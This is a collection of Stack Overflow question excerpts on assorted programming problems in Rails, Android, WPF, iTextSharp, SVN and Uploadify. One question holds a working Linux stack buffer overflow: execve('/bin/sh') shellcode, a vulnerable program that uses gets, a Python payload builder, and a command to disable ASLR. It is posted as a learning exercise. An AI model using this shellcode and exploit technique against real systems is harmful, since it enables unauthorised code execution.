  • InvalidAuthenticityToken for JQuery despite setting authenticity token

    - by user117046
    I'm getting an InvalidAuthenticityToken despite adding in corresponding authenticity tokens in the jquery response. Is there an error in the code, or is there another, root problem? I appreciate any comments. Thanks! Using: Rails 2.3.3, Ruby 1.8.6, Webrick, JQuery 1.3.2 layout/networks.html.haml = token_tag = javascript_tag "window.AUTH_TOKEN = '#{form_authenticity_token}';" javascripts/application.js $(document).ready(function() { // All non-GET requests will add the authenticity token // if not already present in the data packet $(document).ajaxSend(function(event, request, settings) { if (typeof(window.AUTH_TOKEN) == "undefined") return; // <acronym title="Internet Explorer 6">IE6</acronym> fix for http://dev.jquery.com/ticket/3155 if (settings.type == 'GET' || settings.type == 'get') return; settings.data = settings.data || ""; settings.data += (settings.data ? "&" : "") + "authenticity_token=" + encodeURIComponent(window.AUTH_TOKEN); }); ajaxLinks(); }); The rendered html has: <input name="authenticity_token" type="hidden" value="ZaXj3ACQl+8JKtaDAUoxtSsqzEagSPyHbS25ai9qWCw=" /> <script type="text/javascript"> //<![CDATA[ window.AUTH_TOKEN = 'ZaXj3ACQl+8JKtaDAUoxtSsqzEagSPyHbS25ai9qWCw='; //]]> </script> and breakpointing through, shows that window.AUTH_TOKEN has been set. Any help to resolve this would be great.

  • Simple Android Binary Text Clock

    - by Hristo
    Hello, I want to create a simple android binary clock but my application crashes. I use 6 textview fields: 3 for the decimal and 3 for the binary representation of the current time (HH:mm:ss).

  • Push Trunk or Push Branch to Production

    - by coffeeaddict
    I'd like to get an idea of some processes on build process with Tortoise SVN. Primarily I'm wondering do you push: The Mainline Trunk A branch after QA has grabbed it into a working copy locally and tested the branch and then some build pushes that branch The problem I have is I work at a craphole (hey, it is what it is and I'm venting on stackoverflow, you better believe it..good way to relieve stress due to complete utter chaos) and we have no formal process for pushing anything. In fact even worse my boss directly codes against production. When I have changes, he pushes the mainline trunk. The problem becomes when I make database changes on our Dev database for lets say Branch A. Well...that breaks Branch B and C. I have like 4 projects going on at once! Why? Well, I will not get into that (chaos). So consequently I rename a table field, or add a field or whatever in SQL Server and walla, now my other branches have stale code pointing to previous field names. So what happens? I have to merge certain changes to this branch, to that branch, etc. It feels like a war zone. Finally, what happens is I try to only merge the minimum. Lets say I made DB changes for Branch A's code but now I had to jump back on Branch B's project. Well I need to merge "some" of A's changes over for those database changes so that B's code is not going to bomb out and is able to work with the new table changes. Finally boss pushes the mainline trunk to production. Now I get an email "you forgot to remove the hyperlink for this". That hyperlink was actually a feature I added in Branch A. But what he's talking about here is he just pushed the mainline trunk to production which now has my merged changes from Branch B and any database scripts for Branch A because remember I had some DB changes and if he pushes code, it's got to reflect those changes thus some partial database changes must also be pushed even if it's not related to this project. Well...I missed the hyperlink, so kill me. Maybe that's why we need a build process boss? (sorry, it's been a nightmare working here which is why this thread is getting so detailed). Anyway, obviously this is a nightmare. And he dictates almost everything. The only reason we have source control is because I've worked on hard core teams and that's the first thing you setup. Well there was none here. Problem is I can't dictate the structure..he does but he's never really used source control!! My God. So we have no QA. This is an e-commerce website. That's another huge issue. So consequently I'm expected to be perfect. That means mainline trunk needs to be perfect for whatever we're pushing, whatever branch feature. Is this luda? wtf do I do? I could go off on him after tying so many times tactfully to explain that we need a freakin build process (not just copy local mainline trunk to production!) but I've tried to push before and got yelled at. So I gave up on that. So it will help me tremendously to know how others are pushing their source from Tortoise to production. I was not the person pushing when I was on previous teams so really I'm not too versed in build processes. We are a fairly good size e-commerce site and get a couple millions hits a month.

  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

Where am i going wrong?

  • Android crashes when calling ImageButton

    - by Joël
    I have a crash (Application Stopped Unexpectedly) problem with this main.xml is a "HelloWorld" type project (while testing and learning features I need for my app) : I isolated the ImageButton as an issue, but I can't isolate any of the parameters... <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <ImageButton android:id="@+id/picture" android:layout_width="240dip" android:layout_height="180dip" android:layout_gravity="center_horizontal" android:src="@drawable/icon" android:adjustViewBounds="true" android:cropToPadding="true" android:clickable="true" android:scaleType="fitCenter" /> </LinearLayout> icon.png exists in my resources... I can see the preview in the Layout tab, even though the image is not centered on the button, but I read that it was normal. The code below works fine (as a regular Button). I can also do the same as an ImageView. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <Button android:id="@+id/picture" android:layout_width="240dip" android:layout_height="180dip" android:layout_gravity="center_horizontal" /> </LinearLayout> I use Eclipse and the AVD, and all my learning is done on 2.1 (SDK level 7). I can't test the app on an actual device yet as I don't have it yet. Thanks in advance !

  • lseek/write suddenly returns -1 with errno = 9 (Bad file descriptor)

    - by Ger Teunis
    My application uses lseek to seek the desired position to write data. The file is opened using open() command successfully and my application was able to use lseek and wite lots of times. At a given time, for some users and not easily reproducible the lseek returns -1 with an errno of 9. File is not closed before this and the filehandle (int) isn't reset. After this an other file is created open is okay again and lseek and write works again. To make it even worse, this user tried the complete sequence again and all was well. So my question is, can the OS close the file handle for me for some reason? What could cause this? A file indexer or file scanner of some sort? What is the best way to solve this; is this pseudo code the best solution? (never mind the code layout, will create functions for it) int fd=open(...); if (fd>-1) { long result = lseek(fd,....); if (result == -1 && errno==9) { close(fd..); //make sure we try to close nicely fd=open(...); result = lseek(fd,....); } } Anybody experience with something similar? Summary: file seek and write works okay for a given fd and suddenly gives back errno=9 without a reason.

  • Binding DataGridComboBoxColumn to a one to many entity framework relation

    - by Cristian
    I have two tables in the model, one table contains entries related to the other table in a one to many relations, for example: Table User ID Name Table Comments ID UserID Title Text I want to show a datagrid in a WPF window with two columns, one text column with the User name and another column with a combobox showing all the comments made by the user. The datagrid definition is like this: <DataGrid AutoGenerateColumns="False" [layout options...] Name="dataGrid1" ItemsSource="{Binding}"> <DataGrid.Columns> <DataGridTextColumn Header="Name" Binding="{Binding Path=Name}"/> <DataGridComboBoxColumn Header="Comments" SelectedValueBinding="{Binding Path=UserID}" SelectedValuePath="ID" DisplayMemberPath="Title" ItemsSource="{Binding Path=Comments}" /> </DataGrid.Columns> </DataGrid> in the code I assign the DataContext like this: dataGrid1.DataContext = entities.Users; The entity User has a property named Comments that leads to all the comments made by the user. The queries are returning data and the user names are shown but the combobox is not being filled. May be the approach is totally wrong or I'm just missing a very simple point here, I'm opened to learn better methods to do this. Thanks

  • Need help with creating PDF from HTML using itextsharp

    - by Steven
    I'm trying to crate a PDF out of a HTML page. The CMS I'm using is EPiServer. This is my code so far: protected void Button1_Click(object sender, EventArgs e) { naaflib.pdfDocument(CurrentPage); } public static void pdfDocument(PageData pd) { //Extract data from Page (pd). string intro = pd["MainIntro"].ToString(); // Attribute string mainBody = pd["MainBody"].ToString(); // Attribute // makae ready HttpContext HttpContext.Current.Response.Clear(); HttpContext.Current.Response.ContentType = "application/pdf"; // Create PDF document Document pdfDocument = new Document(PageSize.A4, 80, 50, 30, 65); //PdfWriter pw = PdfWriter.GetInstance(pdfDocument, HttpContext.Current.Response.OutputStream); PdfWriter.GetInstance(pdfDocument, HttpContext.Current.Response.OutputStream); pdfDocument.Open(); pdfDocument.Add(new Paragraph(pd.PageName)); pdfDocument.Add(new Paragraph(intro)); pdfDocument.Add(new Paragraph(mainBody)); pdfDocument.Close(); HttpContext.Current.Response.End(); } This outputs the content of the article name, intro-text and main body. But it does not pars HTML which is in the article text and there is no layout. I've tried having a look at http://itextsharp.sourceforge.net/tutorial/index.html without becomming any wiser. Any pointers to the right direction is greatly appreciated :)

  • WPF performance on scaling a large scene

    - by Mark
    I have a full screen app that I want to be able to zoom in on certain areas. I have the code working fine, but I notice that when I get closer in, the zoom in animation (which animates the ScaleTransform.ScaleX and ScaleTransform.ScaleY properties on a Parent canvas) starts to jerk down a little and the frame rate suffers. Im not using any BitmapEffects or anything, and ideally I would like my scene to get more complicated than it currently already is. The scene is quite large, 1980x1024, this is a requirement and cannot be changed. The current layout is like this: <Canvas x:name="LayoutRoot"> <Canvas x:Name="ContainerCanvas"> <local:MyControl x:Name="c1" /> <!-- numerous or ther controls and elements that compose the scene --> </Canvas> </Canvas> The code that zooms in just animates the RenderTransform of the ContainerCanvas, which in tern, scales its children which gives the desired effect. However, Im wondering if I need to swap out the ContainerCanvas for a ViewBox or something like that? Ive never really worked with ViewBox/Viewport controls before in WPF can they even help me out here? Smooth zooming is a huge requirement of the client and I must get this resolved. All ideas are welcome Thanks a lot Mark

  • jQuery Validation Plugin: Invoke errorPlacement function when onfocusout, keyup and click

    - by th3hamburgler
    Hi, I am using the jquery validation plugin and want to use the errorPlacement function to add error messages to the fields title attribute and display just a ? next to the field. This works great when the form is submitted with the submit button but when any of the following events are triggered: - onfocusout - click - onkeyup The validation checks are run but it skips the errorPlacement function and adds the full error message after the field, like the default behaviour. I am using the following code: $("#send-mail").validate({ debug: true, // set this class to error-labels to indicate valid fields success: function(label) { // set text as tick label.html("&#10004;").addClass("valid"); }, // the errorPlacement has to take the table layout into account errorPlacement: function(error, element) { console.log("errorPlacement called for "+element.attr("name")+" field"); // check for blank/success error if(error.text() == "") { // remove field title/error message from element element.attr("title", ""); console.log("error check passed"); } else { // get error message var message = error.text(); // set as element title element.attr("title", message); // clear error html and add cross glyph error.html("&#10008;"); console.log("error check failed: "+message); } // add error label after form element error.insertAfter(element); }, ignoreTitle: true, errorClass: "invalid" });

  • GPS on emulator doesn't get the geo fix - Android

    - by MaurizioPz
    Hi I'm developing an application for the android OS, I'm just starting, but I can't get the GPS on the emulator to work. I've read on the internet that you need to send a geo fix to the emulator in order to enable the gps locationProvider. I'm both using the DDMS and telnet to try to send it, but logcat never tells me the it recived a new fix, and my apolication still sees the gps as disabled here's my code package eu.mauriziopz.gps; import java.util.Iterator; import java.util.List; import android.app.Activity; import android.content.Context; import android.location.LocationManager; import android.os.Bundle; import android.util.Log; public class ggps extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); LocationManager l =(LocationManager) getSystemService(Context.LOCATION_SERVICE); List<String> li = l.getAllProviders(); for (Iterator<String> iterator = li.iterator(); iterator.hasNext();) { String string = iterator.next(); Log.d("gps", string); } if (l.getLastKnownLocation("gps")==null) Log.d("gps", "null"); } } I've read that the DDMS may not work properly on a non english OS, but telnet should work! update: the gps is enabled in the settings

My code: package com.clicker; import android.app.Activity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.TextView; public class Clicker extends Activity { private int clickerNumber = 0; private TextView clickerText; private Button clickerButton; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); clickerText = (TextView)findViewById(R.id.clickerText); final Button clickerButton = (Button)findViewById(R.id.clickerButton); clickerButton.setOnClickListener(new View.OnClickListener()); { public void onClick(); { clickerNumber = clickerNumber++; clickerText.setText(Integer.toString(clickerNumber)); } } } } And compiler output: compile: [javac] Compiling 2 source files to /home/fraser/Applications/Android/Code/Clicker/bin/classes [javac] /home/fraser/Applications/Android/Code/Clicker/src/com/clicker/Clicker.java:24: ')' expected [javac] clickerButton.setOnClickListener(new View.OnClickListener(); [javac] ^ [javac] /home/fraser/Applications/Android/Code/Clicker/src/com/clicker/Clicker.java:26: illegal start of expression [javac] public void onClick(); [javac] ^ [javac] /home/fraser/Applications/Android/Code/Clicker/src/com/clicker/Clicker.java:26: illegal start of expression [javac] public void onClick(); [javac] ^ [javac] /home/fraser/Applications/Android/Code/Clicker/src/com/clicker/Clicker.java:26: ';' expected [javac] public void onClick(); [javac] ^ [javac] /home/fraser/Applications/Android/Code/Clicker/src/com/clicker/Clicker.java:29: ';' expected [javac] clickerText.setText(Integer.toString(clickerNumber))); [javac] ^ [javac] 5 errors

  • Xcode/iPhone Development 6 months in - Annoyances

    - by clearbrian
    Hi I've been iPhone programming for 6 months and come from a PC/Java/Eclipse background and still have a few annoyances with Xcode/iPhone programming I wonder are there any shortcuts to. Is there any way to prevent multiple windows opening all the time in XCode? a) When you click on the Errors/Warnings in the bottom right of the status bar build errors are shown in separate window. Any way to get these to show in the main editor? b) Anyway to get debugger to appear in main editor. I have a big screen iMac and it's still window hell on Macs. When you come from Alt-Tab the Mac is a nightmare. 2) Anyway to get a toolbar item on the main editor to: a) Open Console (I know CMD-thingy-R) b) Open Break points (you have to open Debugger first then breakpoints) I know there's keyboard shortcuts but I have only left hand free others on the trackball so any keys on right hand side of keyboard are too far. I know you can add Finder toolbar scripts (just wondering if anyway to extend Xcode). Are there utilities to extend Xcode? Scripts/Automator/Any Services I can setup to help. Can you automate Xcode like you can with Windows/ActiveX/VBA 3) Limit lookups using CMD + double click. If I double click on a variable to find its definition using CMD + double click it shows every occurrence of all variables with that name. (annoying it you name all you maps mapView) Anyway to get it to limit to the current class or at least order so current class is first. 4) Find doesn't seem to loop backwards if result all above cursor position I'm in a class and I hit CMD + F for find. Find box appears. I enter some text hit return. It says I have x matches but only back arrow is highlight in Find But when I hit < it does nothing. I need to scroll to the top and redo the search. If the text is both forwards and backwards then both < are highlighted and it works. is this a bug or a 'feature' Missing Eclipse features I have been looking at the User Script menu but was wondering how powerful they are? 5) any scripts around to generate source from members such as description: @property @synthesize if I add a new member, run a script will generate @property/@syntesize and release in dealloc 7) any good sites for scripts? SCM Im having problems with SCM and Folders on HD under project Classes directory. You get a library e.g. JSON. It usually comes as a folder. You copy it to the /Classes for your project. /Classes/JSON I create a Group for the Library in Xcode under Classes group. Classes JSON I drag the files from the folder into xcode into the JSON Group. I add them to the SCM and icon changes from ? to A but if I try and commit them it say folder /JSON is not under SCM. Can you drag a folder into Xcode so that it AND its files get included in SCM? Anyway to stop Xcode Help from being on top all the time. I keep feeling like punching it and telling it to get out of the way! :) I dont mind it open just not in the way once I've finished. Yes I know I can Ctrl-W Sites: the main site I use to learn Obj-C are : stackoverflow.com Google code Search - tonnes of full apps on here http://www.iphonedevsdk.com/forum/iphone-sdk-development/ Apple Developers Forums (anyway to get RSS feed to these or is that blasphemy :) ) Safari - 100s of IT book though prob too many to keep up :) any others? Any site that gives simple examples for Obj-C/ UIKit The docs just show the methods but actual examples (Google code search has helped a lot here)

  • Uploadify and rails 3 authenticity tokens

    - by Ceilingfish
    Hi chaps, I'm trying to get a file upload progress bar working in a rails 3 app using uploadify (http://www.uploadify.com) and I'm stuck at authenticity tokens. My current uploadify config looks like <script type="text/javascript" charset="utf-8"> $(document).ready(function() { $("#zip_input").uploadify({ 'uploader': '/flash/uploadify.swf', 'script': $("#upload").attr('action'), 'scriptData': { 'format': 'json', 'authenticity_token': encodeURIComponent('<%= form_authenticity_token if protect_against_forgery? %>') }, 'fileDataName': "world[zip]", //'scriptAccess': 'always', // Incomment this, if for some reason it doesn't work 'auto': true, 'fileDesc': 'Zip files only', 'fileExt': '*.zip', 'width': 120, 'height': 24, 'cancelImg': '/images/cancel.png', 'onComplete': function(event, data) { $.getScript(location.href) }, // We assume that we can refresh the list by doing a js get on the current page 'displayData': 'speed' }); }); </script> But I am getting this response from rails: Started POST "/worlds" for 127.0.0.1 at 2010-04-22 12:39:44 ActionController::InvalidAuthenticityToken (ActionController::InvalidAuthenticityToken): Rendered /opt/local/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta3/lib/action_dispatch/middleware/templates/rescues/_trace.erb (1.0ms) Rendered /opt/local/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta3/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb (6.6ms) Rendered /opt/local/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta3/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb within rescues/layout (12.2ms) This appears to be because I'm not sending the authentication cookie along with the request. Does anyone know how I can get the values I should be sending there, and how I can make rails read it from HTTP POST rather than trying to find it as a cookie?

  • Take screenshot with Selenium: WaitForPageToLoad does not wait long enough

    - by OregonGhost
    I'm trying to get screenshots from a web page with multiple browsers. Just experimenting with Selenium RC, I wrote code like this: var sel = new DefaultSelenium(server, 4444, target, url); sel.Start(); sel.Open(url); sel.WaitForPageToLoad("30000"); var imageString = sel.CaptureScreenshotToString(); This basically works, but in most cases the screenshot is of a blank browser window, because the page is not yet ready for display. It kind of works if I add a sleep just after the WaitForPageToLoad, but that slows down the fast browsers and/or may be to short for the slower browsers (or under load). A typical solution for this seems to be to wait for the presence of a certain element. However, this is meant as a simple generic solution to get a screenshot of a local web page with as many browsers as possible (to test the layout) and I don't want to have to enter certain element names or whatever. It's a simple tool where you just enter the Selenium Server URL and the URL you want to test, and get the screenshots back. Any advice?

  • android bindservice

    - by mnish
    hi, I get null pointer exception at line mService.start() when i try to bind to an already started service. I do the same thing from different activity(where the service gets started) everythig goes right. All these activities are part of one application. What do you think I do wrong? public class RouteOnMap extends MapActivity{ private static final int NEW_LOCATION = 1; private static final int GPS_OFF = 2; private MapView mMapView; private ILocService mService; private boolean mServiceStarted; private boolean mBound; private Intent mServiceIntent; private double mLatitude, mLongitude; private ServiceConnection connection = new ServiceConnection() { public void onServiceConnected(ComponentName className, IBinder iservice) { mService = ILocService.Stub.asInterface(iservice); mBound = true; } public void onServiceDisconnected(ComponentName className) { mService = null; mBound = false; } }; public void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); setContentView(R.layout.mapview); mMapView = (MapView) findViewById(R.id.mapview); mMapView.setBuiltInZoomControls(true); mServiceIntent = new Intent(); mLatitude = 0.0; mLongitude = 0.0; mBound = false; } @Override public void onStart(){ super.onStart(); mServiceIntent.setClass(this, LocationService.class); //startService(mServiceIntent); if(!mBound){ mBound = true; this.bindService(mServiceIntent, connection, Context.BIND_AUTO_CREATE); } } @Override public void onResume(){ super.onResume(); try { mService.start(); } catch (RemoteException e) { e.printStackTrace(); } } @Override public void onPause(){ super.onPause(); if(mBound){ this.unbindService(connection); } } @Override protected boolean isRouteDisplayed() { // TODO Auto-generated method stub return false; } }

  • Why is 1px sometimes 2px when specified in Android XML?

    - by Daniel Lew
    I've got a desire for a one-pixel divider line, just for looks. I thought I could accomplish this using a View of height 1px, with a defined background. However, I'm getting some very odd behavior on different devices - sometimes the 1px ends up as 2px. Take this sample layout for example: <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent"> <View android:layout_width="fill_parent" android:layout_height="1px" android:background="@android:color/white" android:layout_marginBottom="4dp" /> <View android:layout_width="fill_parent" android:layout_height="1px" android:background="@android:color/white" android:layout_marginBottom="4dp" /> <View android:layout_width="fill_parent" android:layout_height="1px" android:background="@android:color/white" android:layout_marginBottom="4dp" /> <View android:layout_width="fill_parent" android:layout_height="1px" android:background="@android:color/white" android:layout_marginBottom="4dp" /> <View android:layout_width="fill_parent" android:layout_height="1px" android:background="@android:color/white" android:layout_marginBottom="4dp" /> <View android:layout_width="fill_parent" android:layout_height="1px" android:background="@android:color/white" android:layout_marginBottom="4dp" /> <View android:layout_width="fill_parent" android:layout_height="1px" android:background="@android:color/white" android:layout_marginBottom="4dp" /> </LinearLayout> When run on my G1, this comes out fine. But on the Nexus One, it alternates between 1px lines and 2px lines. Does anyone know where this is going awry? Why does Android sometimes make 1px into 2px?

  • How do you handle key down events on Android? I am having issues making it work.

    - by user279112
    For an Android program, I am having trouble handling key down and key up events, and the problem I am having with them can almost certainly be generalized to any sort of user input event. I am using Lunar Lander as one of my main learning devices as I make my first meaningful program, and I noticed that it was using onKeyDown as an overridden method to receive key down events, and it would call one of their more original methods doKeyDown. But when I tried to implement a very small version of my own onKeyDown overide and the actual handler that it calls, it didn't work. I would probably copy and paste my implementations of those two methods, but that doesn't seem to be the problem. You see, I ran the debugger and noticed that they were not getting called - at all. The same goes for my implementations of onKeyUp and the handler that it calls. Something is a little weird here, and when I tried to look at the Android documentation for it, that didn't help at all. I thought that if you had an overide for onKeyDown, then when a key was pressed during execution of the program, onKeyDown would be called as soon as reasonably possible. End of story. But apparently there's something more to it. Apparently you have to do something else somewhere - possibly in the XML when defining the layout or something - to make it work. But I do not know what, and I could not find what in their documentation. What's the secret to this? Thanks!

  • Android Custom View Constructor

    - by Mitch
    I'm learning about using Custom Views from the following: http://developer.android.com/guide/topics/ui/custom-components.html#modifying The description says: Class Initialization As always, the super is called first. Furthermore, this is not a default constructor, but a parameterized one. The EditText is created with these parameters when it is inflated from an XML layout file, thus, our constructor needs to both take them and pass them to the superclass constructor as well. Is there a better description? I've been trying to figure out what the constructor(s) should look like and I've come up with 4 possible choices (see example at end of post). I'm not sure what these 4 choices do (or don't do), why I should implement them, or what the parameters mean. Is there a description of these? Thanks. Mitch public MyCustomView() { super(); } public MyCustomView(Context context) { super(context); } public MyCustomView(Context context, AttributeSet attrs) { super(context, attrs); } public MyCustomView(Context context, AttributeSet attrs, Map params) { super(context, attrs, params); }
